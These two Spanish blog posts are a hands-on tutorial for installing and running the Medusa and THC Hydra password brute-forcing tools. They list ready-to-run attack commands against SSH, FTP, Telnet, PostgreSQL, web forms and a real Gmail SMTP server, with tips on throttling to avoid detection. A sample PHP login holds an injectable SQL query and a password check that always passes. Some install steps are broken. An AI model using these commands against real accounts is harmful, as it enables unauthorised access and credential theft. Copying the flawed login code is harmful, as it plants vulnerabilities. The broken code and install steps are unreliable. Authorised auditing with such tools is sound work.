miércoles, 26 de agosto de 2015

Ataque por fuerza bruta con Medusa

¿Que es Medusa?

Medusa es una herramienta para realizar ataques por fuerza bruta desarrollada por JoMo-Kun cuyo objetivo es conseguir acceso a sistemas remotos probando pares de usuarios/contraseñas de manera eficaz (login cracker). Las características más importantes de medusa son:
  • Posee un diseño modular lo que nos permite modificar el módulo de un servicio concreto sin tener que modificar el core de medusa. Además esto se realiza de una manera muy cómoda mediante los archivos .mod que son absolutamente independientes entre si, pudiendo ampliar por tanto cualquier funcionalidad que Medusa traiga de serie.
  • Permite una paralelización absoluta de los ataques pudiendo realizar ataques a múltiples host, usuarios o contraseñas al mismo tiempo sin restricciones.
  • Tiene una entrada de parámetros muy flexible, pudiendo realizar la entrada de hosts, usuarios, contraseñas y opciones de múltiples maneras.
  • Nos permite auditar la seguridad de los usuarios/contraseñas de acceso de los siguientes servicios: AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, RDP, REXEC, RLOGIN, RSH, SMBNT, SMTP, SMTP-VRFY, SNMP, SSH, SVN, Telnet, vmauthd, VNC, Genérico Wrapper y Web Form.

Instalar Medusa

Lo primero que haremos es descargarnos Medusa con el comando wget.
root@metempsicosis:~# wget https://github.com/jmk-foofus/medusa/releases/download/2.2_rc2/medusa-2.2_rc2.tar.gz


Una vez descargado tendremos que extraer el archivo lanzando lo siguiente:
rencinar@metempsicosis:~$ gunzip medusa-2.2_rc2.tar.gz
rencinar@metempsicosis:~$ tar -xvf medusa-2.2_rc2.tar

Ahora, entramos en el directorio medusa-2.2_rc2 y lanzamos el comando ./configure

rencinar@metempsicosis:~$ cd medusa-2.2_rc2/
rencinar@metempsicosis:~/medusa-2.2_rc2$ ./configure


Como se puede comprobar tanto en la ejecución del comando ./configure como en el cuadro resumen final en mi caso faltaba, entre otras, la librería lssh2. Lo que tenemos que hacer es ir instalando las librerías en función de las que nos falten aunque, si queremos realizar un ataque específico, solo es necesario tener instaladas las librerías de los módulos implicados. De esta manera yo no necesitaría instalar la librería lssh2 para realizar por ejemplo ataques a postgreSQL o a servidores SMTP.
Para instalar la librería lssh2 nos logamos con un usuario que tenga permisos de root y lanzamos lo siguiente:

root@metempsicosis:/home/rencinar/medusa-2.2_rc2# apt-get install libssh2-1-dev


Tras instalarla y volver a lanzar el comando ./configure comprobamos en el cuadro resumen que ya está habilitado el módulo para ataques al servicio SSH.

rencinar@metempsicosis:~/medusa-2.2_rc2$ ./configure


Como yo no voy a realizar ataques a RDP ni a AFP no necesito instalarlas. En general para instalar la gran mayoría de las librerías que utiliza Medusa lanzaremos el comando:

root@metempsicosis:/home/rencinar/medusa-2.2_rc2# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libssh2-1-dev build-essential libpq5 libssh2-1 freerdp libfreerdp-dev libgnutls28-dev libgnutlsxx28

Tras esto lanzamos los comandos make y make install con un usuario que tenga permisos de root para realizar la instalación.

root@metempsicosis:/home/rencinar/medusa-2.2_rc2# make
root@metempsicosis:/home/rencinar/medusa-2.2_rc2# make install
Tras esto tendremos correctamente instalado medusa.

Ejemplos de uso

Ejemplo medusa -d
Este comando nos dará el conjunto de módulos que tenemos enabled y su versión (los .mod se almacenan por defecto en el directorio /usr/local/lib/medusa/modules)


Ejemplo medusa -M pop3 -q
En este caso con la opción -M le indicamos a Medusa que a continuación viene el módulo a usar (en este caso pop3) y con el -q le indicamos que nos muestre la información de ese módulo.



Ejemplo  medusa -h 10.0.100.34 -u root -P pass.txt -M ssh
En este ejemplo realizamos un ataque por fuerza bruta al servicio ssh del servidor 10.0.100.34 para el usuario root y con el diccionario pass.txt.



Ejemplo  medusa -h 10.0.10.5 -u root -P pass.txt -M ftp -t 10
En este ejemplo realizamos un ataque por fuerza bruta al servicio ftp del servidor 10.0.10.5 para el usuario root y con el diccionario pass.txt. Con la opción -t 10 le indicamos a Medusa que vamos a realizar 10 intentos de login de manera concurrente.

Ejemplo  medusa -h host.txt -u rencinar-P pass.txt -M telnet -t 10 -T 2
En este ejemplo realizamos un ataque por fuerza bruta al servicio telnet del listado de servidores host.txt para el usuario rencinar y con el diccionario pass.txt. Con la opción -t 10 le indicamos a Medusa que vamos a realizar 10 intentos de login de manera concurrente y con -T 2 le indicamos que realice tests en 2 host concurrentes. De esta manera se estarán probando a la vez 10 intentos de login para 2 servidores de la lista así que tendremos que tener en cuenta que estaremos abriendo 10 (intentos de login concurrente) x2 (servidores simultáneos)= 20 conexiones simultáneas (hay que tener cuidado con esto porque aunque el test irá mas rápido incrementamos la probabilidad de tener falsos positivos y de ser detectados).

Ejemplo medusa -h 10.0.10.7 -u  users.txt -P pass.txt -M postgres -n 5432 -t 10 -L
En este ejemplo realizamos un ataque por fuerza bruta al servicio postgres en el puerto 5432 del servidor 10.0.10.7 con el listado de usuarios users.txt y con el diccionario pass.txt. Al indicarle la opción -L nos abrirá un thread por cada usuario de la lista users.txt y por cada usuario/thread lanzará 10 intentos de login concurrentes (-t 10). Al igual que en el caso anterior deberemos tener cuidado para no tener falsos positivos y no hacer ruido.

Ejemplo medusa -h 10.10.0.1-u admin -P diccionario.txt -M http -m DIR:/login
En este ejemplo realizamos un ataque por fuerza bruta a la web de login situado en http://10.10.0.1/login del servidor 10.10.0.1 con el usuario admin y con el diccionario pass.txt.

Conclusión

Mi conclusión es que Medusa tiene una mayor potencia y mejor gestión que THC Hydra a la hora de lanzar ataques concurrentes y gestionar threads sin embargo THC Hydra tiene mayor potencia en ataques http y el número de falsos positivos en ataques agresivos es menor que con Medusa. Por lo demás son 2 herramientas muy similares que deben ser complementadas con Crunch para generar los diccionarios y con Nmap para ver que servicios tiene cada máquina con el fin de auditarla.

miércoles, 5 de agosto de 2015

Ataque por fuerza bruta con THC Hydra

¿Qué es THC Hydra?

THC Hydra es una potente herramienta para realizar autenticaciones en sistemas remotos mediante fuerza bruta (login cracker) desarrollada por van Hauser. Aunque ha perdido popularidad frente a otros como medusa sigue siendo para mi uno de los mejores para estas auditorías de acceso por la gran cantidad de protocolos soportados y la capacidad de controlar la paralelización/tempo del ataque (cosa imprescindible para burlar sistemas que impidan la realización de esta técnica de cracking). Actualmente Hydra es compatible con:
  • AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, FTPS, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY-URLENUM, ICQ, IMAP, IRC, LDAP2, LDAP3, MS-SQL, MYSQL, NCP, NNTP, Oracle, Oracle-Listener, Oracle-SID, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, REXEC, RLOGIN, RSH, SAP/R3, SIP, SMB, SMTP, SMTP-Enum, SNMP, SOCKS5, SSH(v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC y XMPP.

Instalar THC Hydra

Lo primero que haremos es descargarnos Hydra con el comando wget.
root@metempsicosis:~# wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip


Tras esto nos habremos descargado el archivo master.zip. Ahora solo tendremos que descomprimirlo y entrar en el directorio thc-hydra-master.
root@metempsicosis:~# unzip master.zip
root@metempsicosis:~# cd thc-hydra-master/
A partir de este punto deberemos estar logados con un usuario que tenga permisos de root. Ahora tendremos que lanzar el comando ./configure .
root@metempsicosis:~/thc-hydra-master# ./configure


Como podemos apreciar en la imagen, al lanzar el comando ./configure nos verifica si tenemos instaladas todas las librerías que necesitan los módulos de Hydra para funcionar correctamente. En este caso al faltar alguna, por ejemplo la librería libpq.so y libpq-fe.h, no podríamos realizar un ataque contra bases de datos postgreSQL por lo que tendremos que irlas instalando nosotros en función de lo que queramos auditar. El ejemplo de instalación de las librerías que pongo a continuación es para Debian Jessie por lo que aquellos que utilicen otras distribuciones deberán buscar la equivalencia de los paquetes.
Instalación de librerías adicionales:

root@metempsicosis:~/thc-hydra-master# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev 

Y como libncp-dev no está en los repositorios de Debian Jessie la instalo a mano de la siguiente manera:
root@metempsicosis:~# wget https://packages.debian.org/wheezy/libncp-dev
root@metempsicosis:~# wget https://packages.debian.org/wheezy/libncp


Esto nos descarga el archivo libncp-dev_2.2.6-9_i386.deb y libncp_2.2.6-9_i386.deb. Ahora los instalamos con el comando dpkg -i :

root@metempsicosis:~# dpkg -i libncp_2.2.6-9_i386.deb
root@metempsicosis:~# dpkg -i libncp-dev_2.2.6-9_i386.deb

Si ahora lanzamos de nuevo el comando ./configure comprobaremos que tenemos activos casi todos los módulos de Hydra:

root@metempsicosis:~/thc-hydra-master# ./configure
Starting hydra auto configuration ...
Detected 32 Bit Linux OS
Checking for zlib (libz.so, zlib.h) ...
                                        ... found
Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
                                                       ... found
Checking for idn (libidn.so) ...
                             ... found
Checking for curses (libcurses.so / term.h) ...
                                            ... NOT found, color output disabled
Checking for pcre (libpcre.so, pcre.h) ...
                                       ... found
Checking for Postgres (libpq.so, libpq-fe.h) ...
                                             ... found
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
                                                               ... found
Checking for firebird (libfbclient.so) ...
                                       ... found
Checking for MYSQL client (libmysqlclient.so, math.h) ...
                                                      ... found
Checking for AFP (libafpclient.so) ...
                                   ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
                                         ... found
Checking for SAP/R3 (librfc/saprfc.h) ...
                                      ... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
                                      ... found
Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
                                                                    ... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
Checking for GUI req's (pkg-config, gtk+-2.0) ...
                                              ... found
Checking for Android specialities ...
                                  ... rindex() found
                                  ... RSA_generate_key() found
Checking for secure compile option support in gcc ...
                                                  Compiling... yes
                                                  Linking... yes
Hydra will be installed into .../bin of: /usr/local
  (change this by running ./configure --prefix=path)
Writing Makefile.in ...
now type "make"



Ahora lanzamos los comandos make y make install:
root@metempsicosis:~/thc-hydra-master# make
root@metempsicosis:~/thc-hydra-master# make install
Tras esto tendremos Hydra correctamente instalado.

Si nuestra red necesita especificar un proxy de salida deberemos hacer persistentes las siguientes variables de entorno para que Hydra funcione correctamente (no es necesario poner todas, solo las que requiramos):
  • HYDRA_PROXY_HTTP="http://192.168.10.1:8080/"
  • HYDRA_PROXY_CONNECT=anonymous.proxy.com:8000
  • HYDRA_PROXY_AUTH="login:password"

Ejemplos de uso

A continuación pongo ejemplos de uso que van a servir para explicar las opciones más utilizadas del comando hydra.

Ejemplo hydra localhost -l rencinar -P pass.txt -t 1 -vV -W 1 -s 22 ssh
En este ejemplo el objetivo es localhost, con la opción -l le indicamos que el usuario con el que hacer login es rencinar, con la opción -P le indicamos el diccionario de contraseñas con las que probar, con la opción -t le indicamos el número de conexiones simultáneas que va a realizar Hydra (a mayor número, más rápido irá el ataque pero también mayor es la probabilidad de que nos detecten y también mayor probabilidad de tener falsos positivos), con la opción -W indicamos el tiempo en segundos de espera entre una conexión y otra (cuanto menor sea el número más rápido irá Hydra pero también tendremos más riesgo de detección y menor fiabilidad en los resultados), con -s le indicamos el puerto y a continuación pondremos el protocolo, en mi caso será una conexión por ssh. Como podemos ver en la siguiente imagen en el diccionario he puesto la clave del usuario rencinar que es la "12345678".


Ejemplo hydra localhost -l rencinar -P pass.txt -t 64 -vV -W 1 -s 22 ssh
Este ejemplo es el mismo que el anterior pero con la opción -t 64. Al parametrizarlo de esta manera lanzará 64 conexiones simultáneas y cómo podemos comprobar en la imagen puede ser que saturemos al objetivo dándonos en multitud de ocasiones "could not connect to target port 22". Como he explicado en el primer ejemplo, al lanzarlo de esta manera tan agresiva el número de falsos positivos o negativos se incrementa muchísimo.


Ejemplo hydra -S -l rencinar@gmail.com -P /root/pass.txt -e ns -t 1 -vV -W 1 -s 465 smtp.gmail.com smtp
En este caso vamos a utilizar Hydra para auditar la contraseña de un correo electrónico. Con la opción -S le indicamos que la conexión va a ser mediante SSL, con -l le indicamos la dirección de correo electrónico, con -P le indicamos el diccionario a utilizar, con -e le indicamos opciones adicionales ("n" para que tenga en cuenta las contraseñas nulas y "s" para que realice la acción de login), -vV para que nos muestre toda la información de lo que va pasando, -s para indicarle el puerto, smtp.gmail.com para indicarle la dirección smtp del servidor de correo y smtp para indicarle el protocolo. Por mi experiencia tanto Exchange como MDaemon son relativamente sencillos de atacar y se les puede dar mucha caña pero gmail detecta este tipo de ataques y suele dar muchos falsos positivos, por esto le tendremos que ponerlo muy soft.


Ejemplo hydra -R
Cuando estamos lanzando un ataque y paramos la ejecución con un CRT+C o se nos corta de manera involuntaria, Hydra genera un archivo ./hydra.restore donde guarda el progreso que llevamos. Para continuar con la ejecución en el punto donde nos habíamos quedado basta con lanzar el comando hydra -R. En el ejemplo anterior corté la ejecución voluntariamente y en la imagen que pongo a continuación podemos comprobar que tras ejecutar Hydra con la opción -R continúa donde se había quedado.


Ejemplo hydra localhost -l rencinar -P pass.txt -t 64 -vV -W 1 -s 21 ftp
Es el mismo caso que en los anteriores pero atacando al puerto 21 con el protocolo ftp.

Ejemplo hydra 10.0.10.7 -l postgres -P pass.txt -t 64 -vV -W 1 -s 5432 postgres
Es el mismo caso que en los anteriores pero atacando a una base de datos postgreSQL al puerto 5432 y al servicio postgres.



Ejemplo web login
Además de los ejemplos anteriores Hydra nos permite realizar fuerza bruta en formularios de acceso web (todo lo que digo a continuación está probado pero para evitar complicaciones lo pongo con datos ficticios). Estos formularios casi siempre dan un resultado si el login ha sido erróneo y en muy pocos casos dan un resultado afirmativo si el login ha sido correcto. Por esto lo más recomendable es verificar cuales son los usuarios/contraseñas erróneas y el resto serán las correctas.
Para ello y asumiendo que el servidor web es la IP 10.0.10.12, que el diccionario de usuarios es user.txt, que el diccionario de contraseñas es pass.txt, que el login se realiza mediante el método HTTP POST (como muestra el siguiente ejemplo de login.php) y está situado en el raíz (10.0.10.12/login.php) :

Ejemplo de login.php

<?php
session_start();

include_once "conexion.php";
function verificar_login($user,$password,&$result)
    {
        $sql = “SELECT * FROM usuarios WHERE usuario = ‘$user’ and ‘$password’ = ‘$password’”;
        $rec = mysql_query($sql);
        $count = 0;
        while($row = mysql_fetch_object($rec))
        {
            $count++;
            $result = $row;
        }
        if($count == 1)
        {
            return 1;
        }
        else
        {
            return 0;
        }
    }

if(!isset($_SESSION['userid']))

{
    if(isset($_POST['login']))

    {
        if(verificar_login($_POST['user'],$_POST['password'],$result) == 1)

        {
            $_SESSION['userid'] = $result->idusuario;
            header("location:index.php");
        }
        else
        {
            echo '<div class="error">
Acceso Denegado</div>'; 
        }
    }
?>
<form action="" method="post" class="login">
    <div><label>Username</label><input name="user" type="text" ></div>
    <div><label>Password</label><input name="password" type="password"></div>
    <div><input name="login" type="submit" value="login"></div>
</form>
<?php
} else {
    echo 'Su usuario ingreso correctamente.';
    echo '<a href="logout.php">Logout</a>';
}
?>


El comando a lanzar sería el siguiente:
root@metempsicosis:~# hydra 10.0.10.12  http-form-post "/login.php:username=^USER^&password=^PASS^:Acceso Denegado" -L  user.txt -P pass.txt -t 5 -w 15

Por supuesto hay más variantes dependiendo si el login se realiza por HTTP/HTTPS y POST/GET, por ejemplo si el login se realizase por HTTPS POST el comando sería:
root@metempsicosis:~# hydra 10.0.10.12  https-form-post "/login.php:username=^USER^&password=^PASS^:Acceso Denegado" -L  user.txt -P pass.txt -t 5 -w 15

Hydra tiene más opciones como -x que nos permite generar un diccionario directamente sin cogerlo de un fichero (pero es mucho menos potente que crunch y por eso no merece la pena explicarlo) o la opción -C <fichero> que nos permite atacar con un fichero cuya estructura sea usuario:contraseña probando así pares de usuario y contraseñas pero son opciones que en rarísimas ocasiones vamos a tener que usar.
La generalidad del comando en el 90% de los casos es:

 hydra <IP/host objetivo> -l <usuario> -P <fichero con contraseñas> -t <número de ataques simultáneos> -vV -W <tiempo entre ejecución y ejecución> -s <puerto> <protocolo>